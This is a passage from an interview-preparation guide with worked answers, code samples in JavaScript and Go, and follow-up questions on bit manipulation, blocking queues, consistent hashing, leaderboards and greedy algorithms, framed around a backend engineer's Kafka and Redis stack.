Advanced pruning for Sudoku: Constraint propagation (arc consistency) + most-constrained variable heuristic (pick the cell with fewest valid digits first) dramatically reduces the search space.

IMPLEMENTATION CHALLENGE

Implement Word Search: given a 2D board of characters and a word, determine if the word exists in the board by going horizontally or vertically (backtracking with visited marking). Then Word Search II: find all words from a dictionary that exist in the board (combine Trie with backtracking to prune entire branches).

Constraints: Word Search II must handle a 12×12 board with 1000 words efficiently (Trie prunes: if no word in dictionary starts with current path, stop early); mark cells as visited by temporarily modifying the board (no extra visited array); handle duplicate words in dictionary (use a Set for results).

FOLLOW-UP PROBES

1. N-Queens: for N=8, there are 92 solutions. For N=15, there are 2,279,184. At what N does the backtracking become infeasible, and how do you estimate?
2. Sudoku Solver: the order in which you try cells matters a lot. The 'minimum remaining values' (MRV) heuristic picks the cell with the fewest valid options first. How does this change the implementation?
3. Word Search: the board has all 'a' characters and the word is 'aaaaaa...a' (long string of 'a's). Your backtracking tries every path. What's the worst-case complexity?
4. Implement Generate All Valid Parentheses: n pairs of parentheses. The pruning rule: open count can never exceed n; close count can never exceed open count. Walk through n=3.

[M] Mid DSA & Algorithms › Bit Manipulation

Q22: Implement common bit manipulation operations: count set bits, find the single non-duplicate element, and reverse bits.

ANSWER

Count Set Bits (popcount / Hamming Weight):

Brian Kernighan's algorithm: repeatedly clear the lowest set bit ($n = n \& (n-1)$) and count.

```
function hammingWeight(n) {
  let count = 0;
  while (n) { n &= (n - 1); count++; } // each iteration removes one set bit
  return count;
}
```

O(number of set bits) — often faster than O(32).

Find Single Non-Duplicate (XOR trick):

XOR properties: $a \oplus a = 0$, $a \oplus 0 = a$, XOR is commutative and associative.

All duplicate elements cancel out; the single element remains.

```
function singleNumber(nums) {
  return nums.reduce((acc, n) => acc ^ n, 0);
}
```

O(n) time, O(1) space. Elegant. Extension: if every element appears 3 times except one (appears once), XOR doesn't work — use bit counting modulo 3.

Reverse Bits:

Process bit by bit: extract LSB, shift into result from the MSB side.

```
function reverseBits(n) {
  let result = 0;
  for (let i = 0; i < 32; i++) {
    result = (result << 1) | (n & 1);
    n >>= 1; // unsigned right shift (JS)
  }
  return result >>> 0; // convert to unsigned 32-bit
}
```

Common bit tricks:

- Check if power of 2: $n > 0 \ \&\& \ (n \& (n-1)) == 0$
- Get/Set/Clear bit i : $(n \gg i) \& 1 \mid n \mid (1 \ll i) \mid n \& \sim(1 \ll i)$
- Swap without temp: $a \wedge= b; b \wedge= a; a \wedge= b$ (works but modern compilers optimize temp-swap better)
- Two's complement: $-n = \sim n + 1$
- Lowest set bit: $n \& (-n)$
- Clear lowest set bit: $n \& (n-1)$

Backend use cases: Feature flags stored as bitmasks (if user.permissions & PERMISSION_READ), Redis Bitmaps for tracking which days a user was active, network subnet masks, Bloom filter hash functions.

IMPLEMENTATION CHALLENGE

Implement in Go with actual backend use cases:

1. Permission system: encode user permissions as a 64-bit bitmask. HasPermission(perms uint64, p Permission) bool, GrantPermission, RevokePermission, ListPermissions(perms uint64) []Permission
2. Bloom filter basic structure: use bit manipulation to set/check bits for probabilistic set membership (relevant to your Deepta AI duplicate detection for webhook events)
3. Find two numbers that appear once when all others appear twice (XOR then split numbers into two groups based on a differing bit)

Constraints: permission system must support up to 64 distinct permissions; Bloom filter should support configurable false positive rate (affects bit array size and number of hash functions); document why each bit operation is used.

FOLLOW-UP PROBES

1. XOR trick for single number: what if numbers appear an even number of times instead of exactly 2? Does XOR still work?
2. Your permission bitmask approach has a user with permissions 0b10110101. You add a new permission bit. How do you ensure no existing user data is corrupted?
3. Count set bits using a lookup table (precompute popcount for all 8-bit values, look up 4 bytes of a 32-bit int). What's the time/space tradeoff?
4. Hamming Distance between two integers (number of positions where bits differ). How do you use XOR to solve this in one line?

[P] Principal DSA & Algorithms > Backend-Relevant Hard Problems

Q23: Design a thread-safe bounded blocking queue in Go. This is the backbone of your Kafka consumer worker pool at Deepta AI.

ANSWER

The Problem: A producer-consumer queue where:

- Producers block when the queue is full (backpressure)
- Consumers block when the queue is empty (wait for work)
- Thread-safe for concurrent producers and consumers
- Bounded capacity prevents unbounded memory growth

Implementation 1: Channel-based (Idiomatic Go):

Go channels are inherently bounded blocking queues.

```
type BoundedQueue[T any] struct {
    ch chan T
}
```

```

func NewBoundedQueue[T any](capacity int) *BoundedQueue[T] {
    return &BoundedQueue[T]{ch: make(chan T, capacity)}
}

func (q *BoundedQueue[T]) Enqueue(ctx context.Context, item T) error {
    select {
    case q.ch <- item:
        return nil
    case <-ctx.Done():
        return ctx.Err() // respect cancellation
    }
}

func (q *BoundedQueue[T]) Dequeue(ctx context.Context) (T, error) {
    select {
    case item := <-q.ch:
        return item, nil
    case <-ctx.Done():
        var zero T
        return zero, ctx.Err()
    }
}

func (q *BoundedQueue[T]) Close() { close(q.ch) }

```

Implementation 2: Mutex + Cond (explicit, educational):

```

type BoundedQueueMutex[T any] struct {
    data    []T
    head, tail, count, cap int
    mu      sync.Mutex
    notFull *sync.Cond
    notEmpty *sync.Cond
    closed  bool
}

func (q *BoundedQueueMutex[T]) Enqueue(item T) bool {
    q.mu.Lock()
    defer q.mu.Unlock()
    for q.count == q.cap && !q.closed {
        q.notFull.Wait() // releases lock, sleeps until signal
    }
    if q.closed { return false }
    q.data[q.tail] = item
    q.tail = (q.tail + 1) % q.cap
    q.count++
    q.notEmpty.Signal() // wake one consumer
    return true
}

func (q *BoundedQueueMutex[T]) Dequeue() (T, bool) {
    q.mu.Lock()
    defer q.mu.Unlock()
    for q.count == 0 && !q.closed {
        q.notEmpty.Wait()
    }
    if q.count == 0 { var z T; return z, false }
    item := q.data[q.head]
    q.head = (q.head + 1) % q.cap
    q.count--
    q.notFull.Signal()
    return item, true
}

```

Key correctness points:

- Cond.Wait() MUST be inside a loop (spurious wakeups)

- Signal vs Broadcast: Signal wakes one waiter; Broadcast wakes all. Use Signal for single producer/consumer wakeup (more efficient)
- Close: set closed=true, then Broadcast both conds (wake all waiters so they can check closed state and exit)
- Context cancellation: channel-based version handles this naturally; mutex version needs a goroutine polling ctx.Done() or use a select with a cancellation channel

In your Deepta AI Kafka consumer: Your Go worker pool uses this as the work queue between the Kafka consumer goroutine (producer) and the N worker goroutines (consumers). Setting the bounded capacity prevents memory explosion if workers are slower than Kafka delivery.

IMPLEMENTATION CHALLENGE

Implement the complete worker pool using BoundedQueue for your Deepta AI webhook processing:

```
type WorkerPool struct {
    queue    *BoundedQueue[WebhookEvent]
    workers  int
    wg       sync.WaitGroup
    metrics  WorkerPoolMetrics
}

func (wp *WorkerPool) Start(ctx context.Context, handler func(WebhookEvent) error)
// - Spawn wp.workers goroutines
// - Each goroutine: loop Dequeue → call handler → record metrics
// - Graceful shutdown: on ctx.Done(), drain queue, wait for in-flight handlers to complete
// - Panic recovery per worker (log + continue, don't crash the pool)

func (wp *WorkerPool) Submit(ctx context.Context, event WebhookEvent) error
// - Enqueue with timeout (500ms); return error if full after timeout
// - Metrics: queue_depth_gauge, submit_latency_ms, worker_active_count
```

Test: 4 workers, 1000 events, each handler sleeps 10ms. Total time $\approx 1000 \times 10\text{ms} / 4 \text{ workers} = 2500\text{ms}$. Verify: no events lost, no events processed twice, graceful shutdown after all events processed.

FOLLOW-UP PROBES

1. Spurious wakeups: why does Cond.Wait() need to be in a loop? Give a concrete scenario where not looping causes a bug.
2. Your worker pool has 4 workers. The Kafka partition delivers 1000 messages/second. Each message takes 200ms to process. The queue fills up in 1 second. What happens to the Kafka consumer?
3. How does your graceful shutdown differ if the queue is a Go channel vs sync.Cond? Which is harder to drain correctly?
4. Implement priority in your bounded queue: some webhook events (payment confirmations) must be processed before others (lead syncs). How do you add priority without two separate queues?

[P] Principal DSA & Algorithms > Backend-Relevant Hard Problems

Q24: Design a consistent hashing ring in Go for distributing Kafka partition assignments across your Deepta AI consumer instances.

ANSWER

The Problem:

Your Deepta AI platform has a Kafka consumer group with 10 consumer instances consuming from 100 partitions. When instances are added (scaling out) or removed (crashes), partition assignments need to rebalance. Consistent hashing minimizes the rebalancing impact.

Standard Kafka vs Consistent Hashing:

Kafka's default rebalancing reassigns ALL partitions when any consumer joins/leaves. With 100 partitions and 10 consumers, adding consumer #11 triggers a STOP-THE-WORLD rebalance — all 10 consumers stop processing, new assignments calculated, all restart. This can take 30+ seconds.

Consistent hashing approach: only move partitions from the affected consumer's range (about 1/N of partitions).

Implementation:

```
type ConsistentHash struct {
    ring      map[uint32]string // hash -> consumer ID
    sortedKeys []uint32
    virtualNodes int
    mu        sync.RWMutex
}

func (ch *ConsistentHash) AddConsumer(id string) {
    ch.mu.Lock()
    defer ch.mu.Unlock()
    for i := 0; i < ch.virtualNodes; i++ {
        key := ch.hash(fmt.Sprintf("%s-%d", id, i))
        ch.ring[key] = id
        ch.sortedKeys = append(ch.sortedKeys, key)
    }
    sort.Slice(ch.sortedKeys, func(i, j int) bool { return ch.sortedKeys[i] < ch.sortedKeys[j] })
}

func (ch *ConsistentHash) GetConsumer(partition int) string {
    ch.mu.RLock()
    defer ch.mu.RUnlock()
    if len(ch.ring) == 0 { return "" }
    key := ch.hash(strconv.Itoa(partition))
    // Binary search for first key >= hash
    idx := sort.Search(len(ch.sortedKeys), func(i int) bool { return ch.sortedKeys[i] >= key })
    if idx == len(ch.sortedKeys) { idx = 0 } // wrap around
    return ch.ring[ch.sortedKeys[idx]]
}

func (ch *ConsistentHash) hash(key string) uint32 {
    h := fnv.New32a()
    h.Write([]byte(key))
    return h.Sum32()
}
```

Partition Assignment Algorithm:

```
func AssignPartitions(ring *ConsistentHash, partitions []int) map[string][]int {
    assignments := make(map[string][]int)
    for _, p := range partitions {
        consumer := ring.GetConsumer(p)
        assignments[consumer] = append(assignments[consumer], p)
    }
    return assignments
}
```

Adding a consumer (rebalancing):

1. Call AddConsumer(newID) — updates the ring
2. Re-run AssignPartitions — some partitions now map to newID
3. Only those partitions need to stop on old consumer and start on new consumer
4. Expected: $\sim N/K$ partitions move where N =total partitions, K =new consumer count
5. For 100 partitions, 10 → 11 consumers: ~ 9 partitions move (vs 100 in Kafka default)

Real-World Integration:

Use this with Kafka's CooperativeStickyAssignor (incremental rebalancing) or implement a custom AssignmentStrategy in your consumer group. In your Go Kafka client (confluent-kafka-go or sarama), the assignor interface allows custom partition assignment logic.

IMPLEMENTATION CHALLENGE

Implement the complete partition assignment system:

1. ConsistentHashRing with AddConsumer, RemoveConsumer, GetConsumer, GetPartitions(consumerID string) []int
2. PartitionRebalancer: given old assignment map and new ring, compute delta (which partitions moved from which consumer to which)
3. Simulate: 100 partitions, start with 5 consumers, add 2 more, verify ~28 partitions moved (not all 100)
4. Verify load distribution: each consumer gets approximately $100/7 \approx 14$ partitions ± 2

Bonus: implement "sticky" assignment — when rebalancing, try to keep as many existing assignments as possible (minimize disruption). Compare: pure consistent hash vs sticky hash in terms of partitions moved.

Use benchmark testing to verify: $O(\log N)$ GetConsumer for N virtual nodes, $O(1)$ amortized AddConsumer.

FOLLOW-UP PROBES

1. Virtual nodes: with 150 virtual nodes per consumer and 100 partitions, you might get very uneven distribution. How do you detect and correct load imbalance?
2. A consumer crashes. Its partitions need to be reassigned. The rebalance must complete within 5 seconds (Kafka's session timeout). How does consistent hashing help meet this SLA?
3. Your consistent hash ring uses FNV-32. With 7 consumers and 100 partitions, FNV produces this distribution: 8, 8, 17, 12, 14, 22, 19 partitions. It's very uneven. Why, and what hash function helps?
4. Now add weighted consistent hashing: consumer 1 has 2× the CPU. It should handle 2× the partitions. How do you implement weights without doubling virtual nodes (which wastes memory)?

[P] **Principal** DSA & Algorithms > Backend-Relevant Hard Problems

Q25: Design a real-time leaderboard system supporting range queries, rank lookups, and live updates. Combine skip list and sorted set concepts.

ANSWER

Requirements:

- Insert/Update score for a user: $O(\log n)$
- Get rank of a user: $O(\log n)$
- Get users ranked k_1 to k_2 (range query): $O(\log n + (k_2 - k_1))$
- Get all users within score range $[s_1, s_2]$: $O(\log n + \text{result size})$
- Live updates: 10K score updates/second, 1M total users

Data Structures:

Option 1: Sorted Array / Slice

Rank lookup: $O(1)$ by index. Insert/update: $O(n)$ due to shifting. Too slow for 10K updates/second.

Option 2: Redis Sorted Sets (your actual stack)

Redis ZADD: $O(\log n)$. ZRANK: $O(\log n)$. ZRANGE: $O(\log n + \text{result})$. ZRANGEBYSCORE: $O(\log n + \text{result})$. This is exactly what Redis sorted sets are designed for — they use a skip list + hash table internally.

```
ZADD leaderboard {score} {userID}
ZRANK leaderboard {userID} → rank (0-indexed)
ZRANGE leaderboard 0 9 WITHSCORES → top 10
```

ZRANGEBYSCORE leaderboard {min} {max} → users in score range

Option 3: Augmented BST (Order Statistics Tree)

Each node stores: key (score), value (userID), size (size of subtree).

Rank query: count nodes with smaller keys = rank. Time: $O(\log n)$ for balanced BST.

Go doesn't have a built-in balanced BST; use a treap or red-black tree (available via third-party: [google/btree](https://github.com/google/btree)).

Option 4: Skip List (how Redis implements sorted sets)

A probabilistic data structure with $O(\log n)$ expected time for all operations. Multiple layers of linked lists with decreasing density. Support $O(\log n)$ rank queries by augmenting each forward pointer with the number of nodes it skips.

For Your Deepta AI (if you were implementing without Redis):

Implement a ranked skip list:

- Node: value, score, level, forward[] pointers, span[] (number of nodes each pointer skips)
- GetRank(userID): traverse from top level, sum spans
- GetRange(rank1, rank2): jump to rank1 node using span, traverse to rank2

Real Implementation Plan:

For a production leaderboard with 1M users and 10K updates/second:

1. Use Redis Sorted Sets (ZADD, ZRANK, ZRANGE) — Redis's skip list gives $O(\log n)$ for all ops
2. For 10K updates/second: pipeline ZADD commands (batch 100 at a time via PIPELINE)
3. Cache top-100 leaderboard in a Redis string with 5-second TTL (for the most-read query)
4. Shard by game/tournament ID (not user) — each leaderboard is independent
5. For global rank (across shards): pre-compute periodically (every minute), not real-time

Combining with Segment Tree for range score sum:

To answer "sum of scores for ranks 10-50": augment the skip list to store subtree score sums, or use a Fenwick tree (Binary Indexed Tree) indexed by rank.

IMPLEMENTATION CHALLENGE

Implement a leaderboard in Go that supports:

1. Redis-backed: SetScore(ctx, leaderboardID, userID string, score float64) error
2. GetRank(ctx, leaderboardID, userID string) (int64, error) → 1-indexed rank
3. GetTopK(ctx, leaderboardID string, k int) ([]LeaderboardEntry, error)
4. GetUserRange(ctx, leaderboardID string, scoreMin, scoreMax float64) ([]LeaderboardEntry, error)
5. GetNearbyRanks(ctx, leaderboardID, userID string, n int) ([]LeaderboardEntry, error) → n users above and below

Also implement a Fenwick Tree (Binary Indexed Tree) for the offline case:

- Update(i, delta int): add delta to position i
- PrefixSum(i int) int: sum of positions 1..i
- RangeSum(l, r int) int: sum of positions l..r
- QueryRank(score int) int: how many users have score $\leq$ given score (binary search on prefix sum)

Benchmark: 1M users, 10K score updates per second, 1K rank queries per second — measure Redis pipeline throughput and Fenwick tree update latency.

FOLLOW-UP PROBES

1. Your leaderboard has 1M users but only the top 1000 matter. How do you optimize to avoid storing all 1M in a sorted set?
2. Concurrent score update: two processes both do ZADD for the same user at the same moment. One has score 100, other 200. Redis handles this atomically — but what about your Go application cache?
3. The tournament ends. You need to snapshot the final leaderboard (ranks + scores) and store it immutably for historical reference. Design the data model and storage strategy.
4. Add time-decay to scores: a score from 1 hour ago counts as 50% of its original value. How do you implement time-decayed scoring without expensive recomputes?

[M] Mid DSA & Algorithms > Greedy & Math

Q26: Explain and implement: Sieve of Eratosthenes, modular arithmetic for competitive programming, and the classic 'Jump Game' as a greedy problem.

ANSWER

Sieve of Eratosthenes:

Find all primes up to N efficiently. $O(N \log \log N)$ time, $O(N)$ space.

Algorithm: start with all numbers marked prime. For each prime p starting at 2, mark all multiples of p as composite. Only process up to $\sqrt{N}$ (if p has a factor $> \sqrt{N}$, its complement factor is $< \sqrt{N}$ and was already processed).

```
function sieve(n) {
  const isPrime = new Array(n+1).fill(true);
  isPrime[0] = isPrime[1] = false;
  for (let p = 2; p * p <= n; p++) {
    if (isPrime[p]) {
      for (let m = p*p; m <= n; m += p) isPrime[m] = false; // start at p^2 (smaller multiples already marked)
    }
  }
  return isPrime.reduce((acc, val, i) => val ? [...acc, i] : acc, []);
}
```

Modular Arithmetic:

- $(a + b) \% m = ((a \% m) + (b \% m)) \% m$
- $(a * b) \% m = ((a \% m) * (b \% m)) \% m$
- Modular inverse (for division): $a^{(-1)} \bmod m = a^{(m-2)} \bmod m$ (when m is prime, by Fermat's little theorem)
- Fast modular exponentiation: compute $a^b \bmod m$ in $O(\log b)$ using repeated squaring

```
function modPow(base, exp, mod) {
  let result = 1n; base = BigInt(base) % BigInt(mod);
  const bigMod = BigInt(mod);
  while (exp > 0) {
    if (exp % 2 === 1) result = (result * base) % bigMod;
    base = (base * base) % bigMod;
    exp = Math.floor(exp / 2);
  }
  return Number(result);
}
```

Jump Game (Greedy):

Given array where $\text{nums}[i]$ = max jumps from position i, can you reach the last index?

Greedy: track the farthest position reachable so far. At each position i, if $i > \text{farthest}$, we can't reach i (return false). Otherwise, update $\text{farthest} = \max(\text{farthest}, i + \text{nums}[i])$.

```
function canJump(nums) {
  let farthest = 0;
```

```
for (let i = 0; i < nums.length; i++) {  
  if (i > farthest) return false; // can't reach this position  
  farthest = Math.max(farthest, i + nums[i]);  
}  
return true;  
}
```

Why greedy works: at each step, we make the locally optimal choice (maximize reach). No need to try all paths because if we can reach farthest, we can reach everything between current and farthest (by taking smaller jumps).

Jump Game II (minimum jumps): greedy with two pointers — track current range end and next range end.

IMPLEMENTATION CHALLENGE

Implement in Go:

1. Segmented Sieve for very large N (e.g., find all primes between 10^{12} and $10^{12}+10^6$): sieve small primes up to $\sqrt{N}$, use them to sieve the segment
2. Count number of ways to climb N stairs taking 1 or 2 steps (Fibonacci variant with modulo 10^9+7)
3. Jump Game II: return minimum number of jumps to reach the end; greedy $O(n)$ solution
4. Task Scheduler: given tasks with cooldown period n, compute minimum time to complete all tasks; greedy — always schedule the most frequent remaining task

Constraints: segmented sieve must handle numbers up to 10^{12} ; all results that could overflow int64 must use modular arithmetic; Jump Game II must be $O(n)$ not $O(n^2)$.

FOLLOW-UP PROBES

1. Sieve of Eratosthenes: why do we start marking multiples at p^2 and not $2p$?
2. Modular inverse using Fermat's little theorem requires m to be prime. What do you do when m is not prime? (Extended Euclidean algorithm)
3. Jump Game with minimum jumps: `nums = [2,3,1,1,4]`. Walk through the greedy step by step.
4. Task Scheduler with cooldown `n=2`, tasks = `[A,A,A,B,B,B]`. The answer is 8 (not 6). Why, and what idle slots are needed?